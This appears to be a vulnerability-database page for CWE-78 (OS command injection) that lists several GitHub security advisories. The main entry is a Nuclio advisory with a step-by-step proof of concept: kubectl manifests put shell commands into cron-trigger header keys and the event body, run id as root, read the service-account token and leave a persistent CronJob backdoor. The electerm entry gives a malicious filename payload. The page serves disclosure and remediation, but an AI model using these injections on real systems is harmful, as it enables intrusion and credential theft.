CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8272 vulnerabilities reference this CWE, most recent first.
GHSA-V59C-CFX2-53VC
Vulnerability from github – Published: 2025-12-18 15:30 – Updated: 2025-12-18 15:30In WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28) due to lack of validation in the langGet parameter in the adm.cgi endpoint, the malicious attacker can execute system shell commands.
The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version WDR28081123OV1.01 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.
{
"affected": [],
"aliases": [
"CVE-2025-65008"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T15:15:59Z",
"severity": "CRITICAL"
},
"details": "In WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28)\u00a0due to lack of validation in the langGet parameter in the adm.cgi endpoint, the malicious attacker can execute system shell commands.\n\nThe vendor was notified early about this vulnerability, but didn\u0027t respond with the details of vulnerability or vulnerable version range. Only version WDR28081123OV1.01 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.",
"id": "GHSA-v59c-cfx2-53vc",
"modified": "2025-12-18T15:30:45Z",
"published": "2025-12-18T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65008"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2025/12/CVE-2025-65007"
},
{
"type": "WEB",
"url": "https://github.com/wcyb/security_research"
},
{
"type": "WEB",
"url": "http://www.wodesys.com/eproductms52.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V5CM-3CHW-QWFH
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:12{
"affected": [],
"aliases": [
"CVE-2019-13051"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-09T12:15:00Z",
"severity": "HIGH"
},
"details": "Pi-Hole 4.3 allows Command Injection.",
"id": "GHSA-v5cm-3chw-qwfh",
"modified": "2024-04-04T02:12:26Z",
"published": "2022-05-24T16:58:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13051"
},
{
"type": "WEB",
"url": "https://github.com/pi-hole/AdminLTE/pull/974"
},
{
"type": "WEB",
"url": "https://github.com/pi-hole/pi-hole/commits/master"
},
{
"type": "WEB",
"url": "https://pi-hole.net/2019/09/21/pi-hole-4-3-2-release-notes"
},
{
"type": "WEB",
"url": "https://pi-hole.net/blog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V5FF-XMFP-P245
Vulnerability from github – Published: 2026-07-02 19:22 – Updated: 2026-07-02 19:22Impact
A command injection vulnerability exists in electerm's file system operations (rmrf, mv, cp) in src/app/lib/fs.js. These functions construct shell commands by interpolating file paths directly into command strings without escaping shell metacharacters.
Vulnerable functions:
- rmrf() - Uses rm -rf "${path}" (double quotes, vulnerable to " injection)
- mv() - Uses mv '${from}' '${to}' (single quotes, vulnerable to ' injection)
- cp() - Uses cp -r "${from}" "${to}" (double quotes, vulnerable to " injection)
Attack scenario:
1. Attacker controls a malicious SSH/SFTP server
2. Server lists files with shell metacharacters in names (e.g., file"$(touch /tmp/pwned)")
3. Victim connects to the server and performs file operations (remote-to-local transfer, rename on conflict, etc.)
4. The malicious filename is passed to rmrf(), mv(), or cp() without sanitization
5. Shell metacharacters break out of the quoted argument and execute arbitrary commands
Impact includes: - Arbitrary command execution as the electerm desktop user - Data exfiltration, malware installation, or system compromise - Both POSIX (bash) and Windows (PowerShell) platforms are affected
Patches
- https://github.com/electerm/electerm/commit/aa778818843b9c083bd711cd04644d102fcb5a42
Workarounds
If upgrading is not immediately possible, users can mitigate this vulnerability by: 1. Only connecting to trusted SSH/SFTP servers 2. Avoiding remote-to-local file transfers from untrusted sources 3. Not using the "rename on conflict" option when downloading folders from untrusted servers 4. Manually verifying filenames before performing file operations
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.0"
},
"package": {
"ecosystem": "npm",
"name": "electerm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49255"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:22:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nA command injection vulnerability exists in electerm\u0027s file system operations (`rmrf`, `mv`, `cp`) in `src/app/lib/fs.js`. These functions construct shell commands by interpolating file paths directly into command strings without escaping shell metacharacters.\n\n**Vulnerable functions:**\n- `rmrf()` - Uses `rm -rf \"${path}\"` (double quotes, vulnerable to `\"` injection)\n- `mv()` - Uses `mv \u0027${from}\u0027 \u0027${to}\u0027` (single quotes, vulnerable to `\u0027` injection)\n- `cp()` - Uses `cp -r \"${from}\" \"${to}\"` (double quotes, vulnerable to `\"` injection)\n\n**Attack scenario:**\n1. Attacker controls a malicious SSH/SFTP server\n2. Server lists files with shell metacharacters in names (e.g., `file\"$(touch /tmp/pwned)\"`)\n3. Victim connects to the server and performs file operations (remote-to-local transfer, rename on conflict, etc.)\n4. The malicious filename is passed to `rmrf()`, `mv()`, or `cp()` without sanitization\n5. Shell metacharacters break out of the quoted argument and execute arbitrary commands\n\n**Impact includes:**\n- Arbitrary command execution as the electerm desktop user\n- Data exfiltration, malware installation, or system compromise\n- Both POSIX (bash) and Windows (PowerShell) platforms are affected\n\n### Patches\n\n- https://github.com/electerm/electerm/commit/aa778818843b9c083bd711cd04644d102fcb5a42\n\n### Workarounds\n\nIf upgrading is not immediately possible, users can mitigate this vulnerability by:\n1. Only connecting to trusted SSH/SFTP servers\n2. Avoiding remote-to-local file transfers from untrusted sources\n3. Not using the \"rename on conflict\" option when downloading folders from untrusted servers\n4. Manually verifying filenames before performing file operations",
"id": "GHSA-v5ff-xmfp-p245",
"modified": "2026-07-02T19:22:31Z",
"published": "2026-07-02T19:22:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electerm/electerm/security/advisories/GHSA-v5ff-xmfp-p245"
},
{
"type": "WEB",
"url": "https://github.com/electerm/electerm/commit/aa778818843b9c083bd711cd04644d102fcb5a42"
},
{
"type": "PACKAGE",
"url": "https://github.com/electerm/electerm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "electerm has Command Injection in File System Operations (rmrf, mv, cp)"
}
GHSA-V5FP-5XMQ-M2X6
Vulnerability from github – Published: 2026-05-12 03:31 – Updated: 2026-06-02 18:31Reserved. Details will be published at disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-45391"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T02:16:13Z",
"severity": "CRITICAL"
},
"details": "Reserved. Details will be published at disclosure.",
"id": "GHSA-v5fp-5xmq-m2x6",
"modified": "2026-06-02T18:31:24Z",
"published": "2026-05-12T03:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45391"
},
{
"type": "WEB",
"url": "https://docs.cribl.io/edge/release-notes/release-v4171#security-fixes"
},
{
"type": "WEB",
"url": "https://trust.cribl.io/notifications"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V5GC-8CQM-WW2H
Vulnerability from github – Published: 2026-06-03 18:33 – Updated: 2026-06-03 21:30An OS command injection vulnerability in the app.py component of openlabs docker-wkhtmltopdf-aas up to commit 9f50579 allows attackers to execute arbitrary commands via a crafted POST request.
{
"affected": [],
"aliases": [
"CVE-2026-36576"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T16:16:28Z",
"severity": "CRITICAL"
},
"details": "An OS command injection vulnerability in the app.py component of openlabs docker-wkhtmltopdf-aas up to commit 9f50579 allows attackers to execute arbitrary commands via a crafted POST request.",
"id": "GHSA-v5gc-8cqm-ww2h",
"modified": "2026-06-03T21:30:28Z",
"published": "2026-06-03T18:33:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36576"
},
{
"type": "WEB",
"url": "https://github.com/openlabs/docker-wkhtmltopdf-aas/issues/36"
},
{
"type": "WEB",
"url": "https://github.com/openlabs/docker-wkhtmltopdf-aas"
},
{
"type": "WEB",
"url": "https://github.com/openlabs/docker-wkhtmltopdf-aas/blob/9f505797671c3339520dec5fc01dff3a6f324f2e/app.py#L40"
},
{
"type": "WEB",
"url": "https://hub.docker.com/r/openlabs/docker-wkhtmltopdf-aas"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V5PX-423J-PF7P
Vulnerability from github – Published: 2026-07-08 20:24 – Updated: 2026-07-08 20:24Summary
Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:
event.headerskeys — interpolated verbatim inside double-quoted--headerarguments (lazy.go:2150); any key containing"breaks the quoting context.event.body— processed withstrconv.Quote, which escapes"and\but not$(), allowing command substitution (lazy.go:2188).
Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).
- CVSS 3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H— 9.9 (Critical) - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)
Details
Root Cause
When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.
Path-A — Header key injection (lazy.go:2146-2151)
// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
headerValue := attributes.Event.GetHeaderString(headerKey)
headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
headersAsCurlArg, headerKey, headerValue)
// ↑
// headerKey is user-controlled; no escaping applied
}
headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.
Attack string for headerKey:
X-Inject"; ARBITRARY_COMMAND; echo "
Resulting shell command fragment:
--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"
Path-B — Body command substitution (lazy.go:2173-2192)
// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
strconv.Quote(eventBody), // escapes " → \" and \ → \\, but NOT $()
eventBodyFilePath,
curlCommand,
eventBodyCurlArg)
strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.
Attack string for event.body:
$(ARBITRARY_COMMAND)
Resulting shell command:
echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...
Execution sink (lazy.go:2212)
// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}
The entire concatenated string — including any injected content — is executed by the shell.
Persistence mechanism
The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:
// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.
PoC
Environment Setup
The following steps reproduce the vulnerability in an isolated local environment.
Step 1 — Install prerequisites
# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind
# Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash
Step 2 — Create isolated kind cluster
kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010
Expected output:
Kubernetes control plane is running at https://127.0.0.1:xxxxx
Step 3 — Deploy Nuclio (latest 1.15.27)
helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update
kubectl create namespace nuclio
helm install nuclio nuclio/nuclio \
--namespace nuclio \
--kube-context kind-vul-010 \
--version 0.21.27 \
--set dashboard.enabled=true \
--set controller.enabled=true
Wait for the controller to become ready:
kubectl wait --for=condition=Available deployment/nuclio-controller \
-n nuclio --context kind-vul-010 --timeout=120s
Step 4 — Create a NuclioProject
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
name: default
namespace: nuclio
spec:
description: "default project"
EOF
Step 5 — Prepare a placeholder image for the function deployment
The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:
# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010
# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010
Exploitation — Path-A: Header Key Injection
Step 6 — Create a NuclioFunction with malicious header key
The injection payload in the header key is:
X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
name: vul010-rce-visible
namespace: nuclio
labels:
nuclio.io/project-name: default
spec:
image: placeholder-function:latest
runtime: python:3.9
handler: main:handler
build:
functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
triggers:
cron-inject:
kind: cron
attributes:
schedule: "*/1 * * * *"
event:
headers:
X-Normal: safe-value
'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
minReplicas: 1
maxReplicas: 1
EOF
Step 7 — Trigger the controller to create the CronJob
kubectl patch nucliofunction vul010-rce-visible -n nuclio \
--context kind-vul-010 \
--type=merge \
-p '{"status":{"state":"waitingForResourceConfiguration"}}'
Wait ~10 seconds for the controller to reconcile, then list CronJobs:
kubectl get cronjob -n nuclio --context kind-vul-010
Expected output:
NAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g */1 * * * * False 0 <none> 12s
Step 8 — Inspect the generated CronJob command (static confirmation)
CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
-o jsonpath='{.items[0].metadata.name}')
kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
-o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
| python3 -m json.tool
Actual output from verification:
[
"/bin/sh",
"-c",
"curl --silent --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused"
]
The injected commands are clearly embedded between the shell-separated statements.
Step 9 — Manually trigger a CronJob run (dynamic confirmation)
kubectl create job --from=cronjob/"$CJ_NAME" \
vul010-rce-proof -n nuclio --context kind-vul-010
# Wait for the pod to complete
kubectl wait pod -n nuclio --context kind-vul-010 \
-l job-name=vul010-rce-proof \
--for=condition=Ready --timeout=30s 2>/dev/null || true
POD=$(kubectl get pods -n nuclio --context kind-vul-010 \
-l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')
kubectl logs "$POD" -n nuclio --context kind-vul-010
Actual pod log output from verification:
/bin/sh: curl: not found
===RCE_CONFIRMED===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...
- Line 1:
curlexits immediately at"X-Inject"(no curl binary in alpine) - Line 2:
echo "===RCE_CONFIRMED==="executes — injection confirmed - Line 3:
idexecutes — container runs asuid=0 (root) - Line 4:
cat .../token | head -c 50exfiltrates the first 50 bytes of the K8s SA token
Exploitation — Path-B: Body Command Substitution
Step 10 — Create a NuclioFunction with malicious event body
kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
name: vul010-body-inject
namespace: nuclio
labels:
nuclio.io/project-name: default
spec:
image: placeholder-function:latest
runtime: python:3.9
handler: main:handler
build:
functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
triggers:
cron-body:
kind: cron
attributes:
schedule: "*/1 * * * *"
event:
body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"
minReplicas: 1
maxReplicas: 1
EOF
kubectl patch nucliofunction vul010-body-inject -n nuclio \
--context kind-vul-010 \
--type=merge \
-p '{"status":{"state":"waitingForResourceConfiguration"}}'
Step 11 — Verify CronJob command (static)
sleep 15
CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
-l "nuclio.io/function-name=vul010-body-inject" \
-o jsonpath='{.items[0].metadata.name}')
kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \
-o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
| python3 -m json.tool
Actual output from verification:
[
"/bin/sh",
"-c",
"echo \"$(id 1>&2; echo BODY_INJECTION_PROOF)\" > /tmp/eventbody.out && curl --silent --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..."
]
$() is present unescaped inside a double-quoted string passed to /bin/sh -c.
Step 12 — Dynamic execution
kubectl create job --from=cronjob/"$CJ_NAME_B" \
vul010-body-proof -n nuclio --context kind-vul-010
POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \
-l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')
kubectl logs "$POD_B" -n nuclio --context kind-vul-010
Actual pod log output from verification:
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/bin/sh: curl: not found
id ran as root via $() expansion before curl was even attempted.
Persistence Verification
Step 13 — Confirm CronJob has no ownerReferences
kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
-o jsonpath='{.metadata.ownerReferences}'
Expected: empty (no output)
Step 14 — Simulate controller crash during function deletion
# Stop the controller
kubectl scale deployment nuclio-controller -n nuclio \
--context kind-vul-010 --replicas=0
# Delete the function
kubectl delete nucliofunction vul010-rce-visible -n nuclio \
--context kind-vul-010
sleep 5
# Function is gone — CronJob remains
kubectl get nucliofunction -n nuclio --context kind-vul-010
kubectl get cronjob -n nuclio --context kind-vul-010
Actual output from verification:
# NuclioFunctions:
NAME AGE
vul010-body-inject2 2m30s
(vul010-rce-visible deleted — not listed)
# CronJobs:
NAME SCHEDULE SUSPEND ACTIVE
nuclio-cron-job-d84tj8lmuaqc73arn170 */1 * * * * False 0
(CronJob belonging to the deleted function — still running)
Step 15 — Execute the persistent backdoor
kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \
vul010-persist-backdoor -n nuclio --context kind-vul-010
kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010
Actual pod log output from verification:
/bin/sh: curl: not found
PERSISTENT_BACKDOOR_ACTIVE
: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...
The injected command executes after the source function has been deleted.
Cleanup
kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null
kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null
kind delete cluster --name vul-010
Impact
Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.
Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.
ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables:
- Enumeration of Kubernetes API resources in the nuclio namespace
- In misconfigured clusters, cluster-wide API access
Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.
Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.
Severity
Critical — CVSS 3.1 Score: 9.9
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Dashboard is network-accessible |
| Attack Complexity | Low | No preconditions; straightforward payload |
| Privileges Required | None | NOP auth is the default configuration |
| User Interaction | None | Fully automated via API |
| Scope | Changed | Impact crosses pod boundary into cluster |
| Confidentiality | High | SA token, secrets readable |
| Integrity | High | Arbitrary command execution as root |
| Availability | High | Persistent CronJob can exhaust cluster resources |
Affected Versions
All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.
- Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
- Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)
Patched Versions
https://github.com/nuclio/nuclio/releases/tag/1.16.4
Workarounds
-
Network-level restriction: Place the Nuclio Dashboard behind an authenticated reverse proxy or restrict port 8070 to trusted networks only. This limits who can submit function specifications.
-
Disable cron triggers: If cron trigger functionality is not required, avoid creating functions with
kind: crontriggers. -
RBAC restriction: Remove the
batchAPI group permission from the Nuclio controller ServiceAccount to prevent CronJob creation. Note: this disables cron trigger functionality entirely.
None of the above eliminate the root cause; they only reduce exposure.
Resources
- Vulnerable file:
pkg/platform/kube/functionres/lazy.go - Path-A: line 2150 — header key interpolation
- Path-B: lines 2188-2189 — body interpolation with
strconv.Quote - Execution sink: line 2212 —
Args: []string{"/bin/sh", "-c", curlCommand} - Go
strconv.Quotedocumentation: does not escape$,(,), or backticks - CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CVSS 3.1 Calculator:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Remediation
P0 — Eliminate the shell layer (preferred fix)
Replace the /bin/sh -c <string> invocation with an exec-format argument list. This
removes shell interpretation entirely:
// Current (vulnerable): lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}
// Fixed: build curl args as a []string slice
func buildCurlArgs(headers map[string]string, body, address string) []string {
args := []string{"curl", "--silent"}
for k, v := range headers {
args = append(args, "--header", k+": "+v)
}
if body != "" {
args = append(args, "--data", body)
}
args = append(args, "--retry", "10", "--retry-delay", "1",
"--retry-max-time", "10", "--retry-connrefused", address)
return args
}
// Container spec:
Container{
Command: nil,
Args: buildCurlArgs(headersMap, eventBody, functionAddress),
}
With exec format, each argument is passed directly to the process without shell interpretation. No quoting or escaping is needed.
P1 — Shell-safe quoting (fallback if shell is required)
If the shell invocation must be retained, apply proper POSIX shell quoting to all
user-supplied values before interpolation. The equivalent of Python's shlex.quote
must be implemented in Go:
func shellQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}
Apply to both headerKey, headerValue, and eventBody before inserting into the
command string.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nuclio/nuclio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260601075854-3356b86a8bfa"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52831"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-08T20:24:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nNuclio controller builds a `curl` invocation string for each cron trigger and stores it as the `args` of a Kubernetes CronJob container (`/bin/sh`, `-c`, `\u003ccommand\u003e`). Two fields in the trigger specification flow into this string without adequate sanitization:\n\n- `event.headers` keys \u2014 interpolated verbatim inside double-quoted `--header` arguments (`lazy.go:2150`); any key containing `\"` breaks the quoting context.\n- `event.body` \u2014 processed with `strconv.Quote`, which escapes `\"` and `\\` but not `$()`, allowing command substitution (`lazy.go:2188`).\n\nBoth paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).\n\n- **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` \u2014 **9.9 (Critical)**\n- **CWE**: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)\n- **Affected versions**: Nuclio \u003c= 1.15.27 (latest, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\nWhen a NuclioFunction with a `cron` trigger is reconciled by the controller, it calls `generateCronTriggerCronJobSpec` in `pkg/platform/kube/functionres/lazy.go:2113`. This function builds a shell command string by concatenating user-supplied values and passes it directly to `/bin/sh -c`.\n\n**Path-A \u2014 Header key injection (`lazy.go:2146-2151`)**\n\n```go\n// lazy.go:2146-2151\nheadersAsCurlArg := \"\"\nfor headerKey := range attributes.Event.Headers {\n headerValue := attributes.Event.GetHeaderString(headerKey)\n headersAsCurlArg = fmt.Sprintf(\"%s --header \\\"%s: %s\\\"\",\n headersAsCurlArg, headerKey, headerValue)\n // \u2191\n // headerKey is user-controlled; no escaping applied\n}\n```\n\n`headerKey` is taken from `event.headers` in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing `\"` terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.\n\nAttack string for `headerKey`:\n```\nX-Inject\"; ARBITRARY_COMMAND; echo \"\n```\n\nResulting shell command fragment:\n```bash\n--header \"X-Inject\"; ARBITRARY_COMMAND; echo \": value\"\n```\n\n**Path-B \u2014 Body command substitution (`lazy.go:2173-2192`)**\n\n```go\n// lazy.go:2188-2192\ncurlCommand = fmt.Sprintf(\"echo %s \u003e %s \u0026\u0026 %s %s\",\n strconv.Quote(eventBody), // escapes \" \u2192 \\\" and \\ \u2192 \\\\, but NOT $()\n eventBodyFilePath,\n curlCommand,\n eventBodyCurlArg)\n```\n\n`strconv.Quote` wraps the string in double quotes and escapes `\"` and `\\`, but does not escape `$`, `(`, or `)`. A body value of `$(CMD)` becomes the Go string `\"$(CMD)\"`, which the shell expands as command substitution when executing the `/bin/sh -c` string.\n\nAttack string for `event.body`:\n```\n$(ARBITRARY_COMMAND)\n```\n\nResulting shell command:\n```bash\necho \"$(ARBITRARY_COMMAND)\" \u003e /tmp/eventbody.out \u0026\u0026 curl ...\n```\n\n**Execution sink (`lazy.go:2212`)**\n\n```go\n// lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n```\n\nThe entire concatenated string \u2014 including any injected content \u2014 is executed by the shell.\n\n**Persistence mechanism**\n\nThe CronJob created by the controller carries no `ownerReferences` linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at `lazy.go:522`:\n\n```go\n// Delete function k8s CronJobs before the Deployment so they cannot spawn new\n// CronJobs are not owned by the Deployment, so cascade does not remove them.\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nThe following steps reproduce the vulnerability in an isolated local environment.\n\n**Step 1 \u2014 Install 